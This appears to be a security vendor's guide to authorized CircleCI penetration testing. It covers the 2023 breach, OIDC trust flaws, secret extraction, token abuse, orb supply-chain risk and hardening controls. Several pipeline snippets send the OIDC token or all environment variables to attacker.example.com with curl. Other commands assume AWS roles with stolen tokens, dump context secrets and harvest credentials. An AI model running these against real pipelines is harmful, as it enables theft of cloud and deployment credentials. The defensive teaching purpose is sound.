CircleCI is one of the most widely-used cloud CI/CD platforms, running millions of build pipelines daily for engineering teams of all sizes. The January 2023 CircleCI security incident — in which a threat actor compromised CircleCI's internal systems and accessed customer environment variable and token data — made clear that build platforms are prime targets. This guide covers authorized CircleCI security testing: OIDC token abuse for cloud credential theft, environment variable extraction, context API secret enumeration, orb supply chain risks, and the residual exposure from the 2023 incident.
CircleCI is a fully cloud-hosted CI/CD platform. There is no on-premises server to attack directly — the attack surface is the CircleCI API, the build pipeline configuration, secrets stored in CircleCI's secret management system, and the cloud credentials injected into build jobs.
circleci.com/api/v2. Authenticated via personal API tokens or project API tokens. API access allows build triggering, secret enumeration (metadata, not values), and pipeline management.| Component | Location | Primary Attack Vector |
|---|---|---|
| CircleCI API | circleci.com/api/v2 | Leaked API token; token scope abuse |
| Environment Variables | Project settings → Env Vars | Build log injection; malicious orb; OIDC abuse |
| Contexts | Organization settings → Contexts | Context membership bypass; API enumeration; build log capture |
| OIDC Tokens | Injected per-job at build time | Token theft from build environment; overly permissive IAM role trust |
| Orbs | circleci.com/developer/orbs | Malicious orb publication; typosquatting; orb version pinning bypass |
| Self-Hosted Runners | Customer infrastructure | Runner host compromise; job interception; network pivoting |
In January 2023, CircleCI disclosed that a threat actor had compromised internal CircleCI systems between December 16, 2022 and January 4, 2023. The attacker gained access to customer environment variable data and tokens stored by CircleCI — including encrypted environment variable values and some token data that was encrypted at rest but potentially accessible with CircleCI's own encryption keys.
# Step 1: Identify all CircleCI projects active during the incident window
# Retrieve project list via CircleCI API
CIRCLECI_TOKEN="your_api_token"
curl -s "https://circleci.com/api/v2/me/collaborations" \
-H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool
# Get all projects for each organization
ORG_SLUG="github/your-org" # or "bitbucket/your-org"
curl -s "https://circleci.com/api/v2/project?organization-slug=$ORG_SLUG" \
-H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool
# Step 2: List environment variable names (not values) per project
# This tells you WHAT was stored — now check if those were rotated
PROJECT_SLUG="github/your-org/your-repo"
curl -s "https://circleci.com/api/v2/project/$PROJECT_SLUG/envvar" \
-H "Circle-Token: $CIRCLECI_TOKEN" | \
python3 -c "import sys,json; [print(v['name']) for v in json.load(sys.stdin).get('items',[])]"
# Step 3: Cross-reference against your credential rotation records
# Any long-lived credential stored in CircleCI pre-January 2023 should be considered compromised
# Static AWS keys, GCP service account JSON, database passwords, signing keys
CircleCI supports OpenID Connect (OIDC) authentication, allowing build jobs to obtain short-lived cloud provider credentials without storing static access keys. A CircleCI OIDC token is a JWT signed by CircleCI that cloud IAM systems can validate. If an organization's IAM role trust policy is overly permissive — trusting any CircleCI job, or trusting jobs from any branch — an attacker with push access to a repository can abuse the OIDC flow to obtain cloud credentials.
# CircleCI OIDC token is available inside build jobs as:
# $CIRCLE_OIDC_TOKEN (for the default org context)
# $CIRCLE_OIDC_TOKEN_V2 (newer format with additional claims)
# Token claims for CircleCI v2 OIDC:
# sub: "org/{org_id}/project/{project_id}/user/{user_id}"
# aud: Organization ID
# iss: "https://oidc.circleci.com/org/{org_id}"
# oidc.circleci.com/project-id: project UUID
# oidc.circleci.com/context-ids: array of context UUIDs used in this job
# oidc.circleci.com/vcs-origin: "https://github.com/org/repo"
# oidc.circleci.com/vcs-ref: branch or tag name
# Decode OIDC token from inside a build job
echo $CIRCLE_OIDC_TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# A vulnerable AWS IAM role trust policy might look like:
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::ACCOUNT_ID:oidc-provider/oidc.circleci.com/org/ORG_ID"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"oidc.circleci.com/org/ORG_ID:aud": "ORG_ID"
}
# MISSING: no project-id or branch constraint — any CircleCI job in this org can assume the role
}
}]
}
# A secure trust policy should also restrict to specific projects:
"Condition": {
"StringEquals": {
"oidc.circleci.com/org/ORG_ID:aud": "ORG_ID",
"oidc.circleci.com/org/ORG_ID:oidc.circleci.com/project-id": "SPECIFIC_PROJECT_ID"
}
}
# Enumerate IAM roles that trust CircleCI OIDC (with AWS credentials)
aws iam list-roles | python3 -c "
import sys, json
roles = json.load(sys.stdin).get('Roles', [])
for role in roles:
trust = json.dumps(role.get('AssumeRolePolicyDocument', {}))
if 'circleci' in trust.lower():
print(role['RoleName'], role['Arn'])
print('Trust:', trust[:200])
print()
"
# Inside a CircleCI build job, OIDC tokens are short-lived (~1 hour)
# An attacker with code execution inside a build can steal the token
# Method 1: Malicious pipeline step (if you control .circleci/config.yml)
# In .circleci/config.yml:
jobs:
build:
steps:
- run:
name: Capture OIDC token
command: |
echo "OIDC_TOKEN: $CIRCLE_OIDC_TOKEN"
curl -s -X POST "https://attacker.example.com/token" \
-d "token=$CIRCLE_OIDC_TOKEN"
# Method 2: Via a malicious orb (see Orb Supply Chain section)
# Using a stolen CircleCI OIDC token to assume an AWS role:
OIDC_TOKEN="eyJhbGciOi..." # stolen from build output
# Exchange OIDC token for AWS credentials
aws sts assume-role-with-web-identity \
--role-arn "arn:aws:iam::ACCOUNT_ID:role/circleci-deploy-role" \
--role-session-name "attacker-session" \
--web-identity-token "$OIDC_TOKEN" \
--duration-seconds 3600
# Result: Temporary AWS credentials (AccessKeyId, SecretAccessKey, SessionToken)
# These are short-lived but can be used immediately to access AWS resources
CircleCI environment variables store the most sensitive data in a CI/CD pipeline: cloud credentials, database passwords, API keys, signing certificates, and deployment tokens. The values cannot be read via the API — they are only accessible from within a running build job. However, there are multiple paths to extracting these values from build output.
# CircleCI automatically masks known secret patterns in build output
# However, encoding or indirect exposure can bypass masking
# Common patterns that leak secrets into logs:
# 1. Error messages that include the secret value
# 2. Debug mode enabled (set -x in bash)
# 3. Tools that print environment on error
# 4. Base64 encoding bypasses string masking
# 5. JSON parsing with jq printing full objects
# Example of accidental exposure via debug shell:
- run:
name: Deploy
command: |
set -x # prints every command — including variable assignments
aws s3 sync . s3://my-bucket # AWS_SECRET_ACCESS_KEY visible in trace
# Example: base64-encoded secret bypasses masking
- run:
command: echo $MY_SECRET | base64 # masking checks for raw string, not encoded
# Test for build log exposure: check archived build logs
CIRCLECI_TOKEN="your_api_token"
PROJECT_SLUG="github/your-org/your-repo"
# Get recent builds
curl -s "https://circleci.com/api/v2/project/$PROJECT_SLUG/pipeline?branch=main" \
-H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool
# Get job logs for a specific workflow
PIPELINE_ID="pipeline-uuid"
curl -s "https://circleci.com/api/v2/pipeline/$PIPELINE_ID/workflow" \
-H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool
# If you have write access to a repository with CircleCI pipelines,
# inject a step to extract all environment variables from a build
# .circleci/config.yml modification:
version: 2.1
jobs:
build:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: capture-env
command: |
# Capture all env vars and exfiltrate
env | base64 | curl -s -X POST https://attacker.example.com/collect \
-H "Content-Type: text/plain" --data-binary @-
# Or write to artifact for later retrieval
env > /tmp/all_secrets.txt
- store_artifacts:
path: /tmp/all_secrets.txt
destination: secrets # DO NOT DO THIS in production — for authorized testing only
# Alternative: SSH debugging (CircleCI feature)
# Enable SSH access to a running job via CircleCI dashboard
# Approved users can SSH into the build container and read environment variables
# Admin account needed to enable SSH for a build
CircleCI Contexts are organization-level shared secret stores. A single context can contain dozens of environment variables used across multiple projects. Context variable names (but not values) are accessible via the CircleCI API, giving an attacker insight into what credentials are stored. Context access is controlled by OIDC claims — specific CircleCI jobs must be granted access to a context, but this is controlled in the pipeline YAML, not in CircleCI's UI.
# List all organization contexts
CIRCLECI_TOKEN="your_api_token"
ORG_ID="your-org-uuid" # Get from circleci.com/api/v2/me/collaborations
curl -s "https://circleci.com/api/v2/context?owner-id=$ORG_ID&owner-type=organization" \
-H "Circle-Token: $CIRCLECI_TOKEN" | python3 -m json.tool
# Get environment variable names for a specific context (not values)
CONTEXT_ID="context-uuid"
curl -s "https://circleci.com/api/v2/context/$CONTEXT_ID/environment-variable" \
-H "Circle-Token: $CIRCLECI_TOKEN" | \
python3 -c "
import sys, json
data = json.load(sys.stdin)
for item in data.get('items', []):
print(f\"Variable: {item['variable']} | Context: {item.get('context_id')}\")
"
# Context access can be restricted by branch or security group
# A misconfigured context with no restrictions allows any job in the org to use it
# Check if a context has branch restrictions
curl -s "https://circleci.com/api/v2/context/$CONTEXT_ID" \
-H "Circle-Token: $CIRCLECI_TOKEN" | \
python3 -c "
import sys, json
d = json.load(sys.stdin)
print('Context:', d.get('name'))
print('Restrictions:', json.dumps(d.get('restrictions', {}), indent=2))
"
# If restrictions is empty {} — any pipeline in the org can consume this context
# Exploit: create or modify a .circleci/config.yml in any repo to consume the context
version: 2.1
jobs:
steal_context:
docker:
- image: cimg/base:stable
steps:
- run:
name: dump context env vars
command: env | grep -v "^PATH\|^HOME\|^CIRCLE\|^BASH" | sort
workflows:
steal:
jobs:
- steal_context:
context:
- PRODUCTION_SECRETS # Context name from enumeration
CircleCI personal API tokens grant access to all CircleCI actions for a user account. Project tokens are scoped to a single project but still allow pipeline triggering and artifact access. API tokens are frequently leaked in CI configuration files, developer dotfiles, and source code.
# CircleCI API token format: 40-character hex string
# Personal tokens: start with standard hex chars
# Project tokens: similar format, scoped to project
# Search source code for CircleCI tokens
trufflehog git https://github.com/your-org/your-repo --only-verified
gitleaks detect --source /path/to/repo --verbose
# Token pattern (regex)
grep -rn --include="*.yaml" --include="*.yml" --include="*.env" --include="*.sh" \
-E "CIRCLECI_TOKEN|CIRCLE_TOKEN|circle\.token|circleci\.com.*token" /path/to/code
# Developer dotfiles
cat ~/.circleci/cli.yml
# Contains: token: YOUR_PERSONAL_TOKEN
# CI tool configurations often store CircleCI tokens
cat ~/.circleci/config.yml
grep -r "CIRCLECI_API_TOKEN\|CIRCLE_CI_TOKEN" ~/.bash_profile ~/.zshrc ~/.profile
# Verify token validity and identify owner
STOLEN_TOKEN="leaked_token_here"
curl -s "https://circleci.com/api/v2/me" \
-H "Circle-Token: $STOLEN_TOKEN" | python3 -m json.tool
# Returns: user name, login, id, emails
# List accessible organizations
curl -s "https://circleci.com/api/v2/me/collaborations" \
-H "Circle-Token: $STOLEN_TOKEN" | python3 -m json.tool
# Enumerate all projects across orgs
for VCS_SLUG in "github/org1" "github/org2"; do
curl -s "https://circleci.com/api/v2/project?organization-slug=$VCS_SLUG" \
-H "Circle-Token: $STOLEN_TOKEN" | \
python3 -c "import sys,json; [print(p.get('slug')) for p in json.load(sys.stdin).get('items',[])]"
done
# Trigger a build with an injected command (if write access exists in repo)
PROJECT_SLUG="github/target-org/target-repo"
curl -s -X POST "https://circleci.com/api/v2/project/$PROJECT_SLUG/pipeline" \
-H "Circle-Token: $STOLEN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"branch": "main"}' | python3 -m json.tool
CircleCI orbs are reusable configuration packages that abstract common CI/CD tasks (deploying to AWS, running security scans, publishing to npm). An orb executes code inside build jobs with access to all pipeline secrets. Organizations that use third-party orbs without pinning to specific versions are vulnerable to supply chain compromise.
orb-author/orb-name@volatile or a mutable tag like @1 instead of @1.2.3. A compromised orb publisher can push malicious code that executes in your builds.circleci-community/aws-cli vs the legitimate circleci/aws-cli. Attackers publish lookalike orbs with slightly different names.# Audit orb usage in .circleci/config.yml
# Check for unpinned orb references
grep -rn "orbs:" .circleci/config.yml
# Example of vulnerable orb usage:
orbs:
aws-cli: circleci/aws-cli@volatile # dangerous — mutable tag
node: circleci/node@5 # major version tag — also mutable
# Example of secure orb pinning:
orbs:
aws-cli: circleci/aws-cli@4.1.2 # pinned to exact version
node: circleci/node@5.2.0 # pinned to patch version
# Check orb registry for suspicious orbs
curl -s "https://circleci.com/api/v2/orb?query=aws" | \
python3 -c "import sys,json; [print(o['name'], o.get('versions',{}).get('version','')) for o in json.load(sys.stdin).get('orbs',[])]"
# Verify orb source code before using
ORB_SLUG="circleci/aws-cli@4.1.2"
curl -s "https://circleci.com/api/v1.1/orb/$ORB_SLUG" | python3 -m json.tool
# Review the source YAML for suspicious exfiltration commands
CircleCI pipeline configuration is stored in .circleci/config.yml in the repository. Any developer or attacker with push access to the repository — including to feature branches — can modify the pipeline configuration to execute arbitrary commands with access to all project environment variables.
# Assess pipeline injection risk
# Check if CircleCI is configured to run pipelines from all branches
# vs only from protected branches
# In CircleCI project settings, check:
# Settings → Advanced → "Only build pull requests" (reduces fork PR risk)
# Settings → Advanced → "Build forked pull requests" (dangerous if enabled)
# Check if contexts are protected by branch restrictions
# Context with no restrictions + pipeline from any branch = full secret exposure
# Example attack: attacker forks repo, creates PR, CircleCI runs build
# If "Build forked pull requests" is enabled and context has no restrictions:
# .circleci/config.yml in attacker's fork:
version: 2.1
jobs:
build:
docker:
- image: cimg/base:stable
steps:
- run: env | curl -X POST https://attacker.example.com -d @-
workflows:
main:
jobs:
- build:
context: PRODUCTION_SECRETS # Attacker gains production secrets
A compromised CircleCI account or pipeline provides extensive access to an organization's infrastructure. Build pipelines touch nearly every critical system: source code, artifact registries, cloud infrastructure, Kubernetes clusters, databases, and deployment targets.
AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY stored for deployment pipelines. Even if OIDC is used, role trust policies are often overly permissive.GITHUB_TOKEN or personal access tokens stored in CircleCI have push access to repositories, potentially allowing code injection into the main branch.# Comprehensive secret inventory when inside a CircleCI build job
# Run as a step in your authorized penetration test config
#!/bin/bash
echo "=== CircleCI Secret Inventory ==="
echo "--- Cloud Provider Credentials ---"
env | grep -E "AWS_|GOOGLE_|AZURE_|GCP_|GCLOUD_" | sort
echo "--- Container Registry ---"
env | grep -E "DOCKER_|ECR_|GCR_|REGISTRY_" | sort
cat ~/.docker/config.json 2>/dev/null
echo "--- Package Registry ---"
env | grep -E "NPM_TOKEN|PYPI_TOKEN|MAVEN_PASSWORD|NUGET_" | sort
echo "--- Source Control ---"
env | grep -E "GITHUB_TOKEN|GITLAB_TOKEN|GH_TOKEN|BITBUCKET_" | sort
echo "--- Database ---"
env | grep -E "_DATABASE_URL|_DB_PASSWORD|_DB_URI|_CONNECTION_STRING" | sort
echo "--- Kubernetes ---"
env | grep -E "KUBECONFIG|K8S_TOKEN|KUBERNETES_" | sort
cat $KUBECONFIG 2>/dev/null || cat ~/.kube/config 2>/dev/null
echo "--- Signing Keys ---"
env | grep -E "GPG_KEY|SIGNING_KEY|CERT_|P12_|KEYSTORE_" | sort
| Control | Action | Priority |
|---|---|---|
| Rotate secrets post-2023 incident | Rotate all static credentials stored in CircleCI prior to January 2023; verify rotation via secret scanning | Critical |
| Replace static credentials with OIDC | Use CircleCI OIDC tokens for AWS/GCP/Azure authentication; avoid storing long-lived access keys | Critical |
| Restrict OIDC IAM role trust | Scope IAM trust policies to specific CircleCI project IDs and branches, not the entire org | Critical |
| Protect contexts with branch restrictions | Add context restrictions limiting access to specific branches (main/release) or security groups | High |
| Disable fork PR builds | Never allow fork PRs to access organization contexts or environment variables | High |
| Pin orb versions | Use exact semantic versions for all orbs (e.g. circleci/aws-cli@4.1.2); review orb source code | High |
| Audit API token usage | Regularly review and expire unused personal API tokens; rotate tokens if developer leaves | High |
| Enable SSO/SAML for org access | Enforce SSO for CircleCI organization access; disable username/password login where possible | Medium |
| Monitor build log output | Scan build logs for accidental secret exposure; alert on base64-encoded sensitive patterns | Medium |
| Enforce IP ranges for runners | If using self-hosted runners, restrict runner communication to known IP ranges | Medium |
Ironimo scans CI/CD pipeline configurations for misconfigured contexts, overly permissive OIDC trust policies, unpinned orb versions, and leaked secrets in build artifacts — the exposure paths that turn CI pipelines into attacker footholds.
Start free scan